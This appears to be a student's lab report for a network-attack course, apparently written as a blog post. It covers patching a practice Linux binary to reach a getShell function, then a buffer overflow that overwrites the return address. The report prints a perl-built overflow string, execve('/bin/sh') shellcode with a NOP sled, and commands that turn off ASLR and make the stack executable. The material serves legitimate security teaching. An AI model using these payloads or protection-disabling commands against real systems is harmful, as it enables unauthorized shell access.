2019-2020-2 20175313张黎仙《网络对抗技术》Exp1 PC平台逆向破解

一、实验目标

  1. 直接修改程序机器指令,运行原本不可访问的代码片段
  2. 构造输入参数,造成BOF攻击,改变程序执行流
  3. 制作shellcode,注入该shellcode,并运行任意代码
  4. 结合nc模拟远程攻击

二、实验原理


三、实验内容

  • 实验对象:名为20175313pwn的linux可执行文件。
  • 文件说明:20175313pwn中main函数调用foo函数,foo函数用于将用户输入的字符串回显到屏幕上。20175313pwn文件还包含一段getShell程序,用于返回一个可用Shell。

任务一

  • 预备知识:掌握NOP, JNE, JE, JMP, CMP汇编指令对应的机器码
  • NOP:"no operation"空操作,机器码0x90
  • JNE:"not equal"不等则跳转,机器码0x75
  • JE:相等则跳转,机器码0x74
  • JMP:无条件跳转
  1. 段内直接短转Jmp short,机器码0xEB;
  2. 段内直接近转移Jmp near,机器码0xE9;
  3. 段内间接转移Jmp word,机器码0xFF;
  4. 段间直接(远)转移Jmp far,机器码0xEA
  • CMP:比较指令,CMP的功能相当于减法指令。它不保存结果,只是影响相应的标志位,机器码0x39
    更多详情请参见汇编指令机器码对应列表
  • 任务要求:通过直接修改程序机器指令,使其运行原本不可访问的代码片段getShell。
  • 实验步骤:
  • 使用objdump -d 20175313pwn | more对2017313pwn可执行文件进行反汇编
  • 由上图可知,20175313pwn反汇编后,main函数通过call 8048491 <foo>(对应的机器指令为:e8 d7 ff ff ff,其中e8是call指令的机器码,d7 ff ff ff是十六进制补码,EIP的值+d7 ff ff ff=8048491=80484ba+d7 ff ff ff)来调用foo函数。
  • 如果要使得main函数调用getShell函数,只需将call 8048491 <foo>改为call 804847d <getShell>即可。所以只需要修改call 8048491 <getShell>指令对应的机器指令,将其改为:e8 c3 ff ff ff(804847d-80484ba=ffffffc3)
  • 使用vi 20175313pwn编辑可执行文件。按esc后,输入:%!xxd将显示模式切换为十六进制模式,在底行/d7查找需要修改的内容,将d7改为c3后,输入:%!xxd -r转换16进制为原格式,:wq保存退出。
  • 对修改结果进行验证,如下图:
  • 20175313pwn.bak为原文件,20175313pwn为修改后文件,其运行结果如下:

任务二

  • 需求分析:
  • 由上面的实验原理,可得:当输入的字符串超过0x1c=28个字节后,就会造成缓冲区溢出,而我们需要做的就是构造一个字符串,使其产生缓冲区溢出,并且溢出到图中EIP的值正好为getShell的起始地址0x0804847d。
  • 上图中我们可以看到,在给字符串预留的28个字节上面4个字节是存放main函数堆栈的栈底,在上面4个字节是返回地址。因此,我们需要构造的字符串的第33-36个字节为0x0804847d。
  • 预备知识:
  • 使用perl语言,能够将无法通过键盘输入的十六进制值直接输入,并使用输出重定向">"将perl生成的字符串存储到文件中。例如:perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input 是将字符串"11111111222222223333333344444444\x7d\x84\x04\x08\x0a"重定向到文件input中。
  • xxd 文件名将文件内容以16进制形式呈现。
  • (cat 文件名file1;cat) | 可执行文件名file2将file1中的字符串通过管道传递给file2,作为可执行文件file2的输入。
  • 实验步骤:
  • 构造字符串 11111111222222223333333344444444\x08\x04\x84\x7d,还是11111111222222223333333344444444\x7d\x84\x04\x08
  • 当构造字符串11111111222222223333333344444444\x08\x04\x84\x7d作为输入字符串时,调试结果如下图:
  • 由此可知,应该构造字符串11111111222222223333333344444444\x7d\x84\x04\x08,结果如下图:

任务三

  • 需求分析:
  • 与任务二类似,在给字符串预留的28个字节上面4个字节是存放main函数堆栈的栈底,在上面4个字节是返回地址。因此,我们需要构造的字符串的第33-36个字节为我们想要注入的shellcode的起始地址。
  • 由于执行过程的未知性,想要准确知道shellcode的起始地址的很难的,为了提高猜测的准确性,我们一般在想要注入的shellcode前面填充许多空操作nop(机器码为0x90),使得只要找到任意一个0x90的位置作为起始地址覆盖到eip处,就能够让shellcode被执行。
  • 所以,我们需要找到0x90的位置。
  • 预备知识:
  • Linux下有两种基本构造攻击buf的方法,一般选择第一种。
    1. retaddr+nop+shellcode
    1. nop+shellcode+retaddr
  • execstack -s pwn1 设置堆栈可执行;
  • execstack -q pwn1 查询文件的堆栈是否可执行;
  • more /proc/sys/kernel/randomize_va_space查看地址随机化的状态;
  • echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化
  • 实验步骤:
  • perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > 20175313input上面的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置我们需要把它改为shellcode的起始地址,所以通过调试找到0x90所在位置,调试过程如下:

  • 由于未设置堆栈空间可执行和关闭虚拟地址空间随机化导致失败,所以先做好上述准备工作后,重新寻找shellcode起始地址。

  • 找到shellcode起始地址后,重新注入,并验证,最后运行成功。


任务四



四、实验思考

  • 什么是漏洞?

缓冲区溢出就是漏洞。漏洞就是缺陷,可以存在于硬件、软件、协议等各个方面,黑客可以利用漏洞对计算机进行攻击。

  • 漏洞有什么危害?

存在漏洞,就会使黑客有机会对目标主机进行远程控制,会造成机密性、完整性、真实性等安全属性遭到破坏,以达到他们想要的目的。

五、实验收获与感想

  • 本次实验虽然花费我大量的时间,但是也收获了同比的知识。让在我对缓冲区溢出原理清楚明白的基础上,辅以相应的实践,加深了我对缓冲区溢出的理解。
  • 同时,也让我反思自己以前写的代码,对于int A[10];这种代码产生一种危机感,深刻明白自己在代码编写方面的不足。
  • 最重要的是让我学会在遇到事情时,一定要冷静分析,把握大方向。首先要有思路也就是目标要明确,然后进行预期,操作,验证。做的每一步都要进行验证,每一步验证的成功,才能达到最后的成功。

六、参考资料

0x11_MAL_逆向与Bof基础

posted @ 2020-03-03 17:23  20175313张黎仙  阅读(261)  评论(0编辑  收藏  举报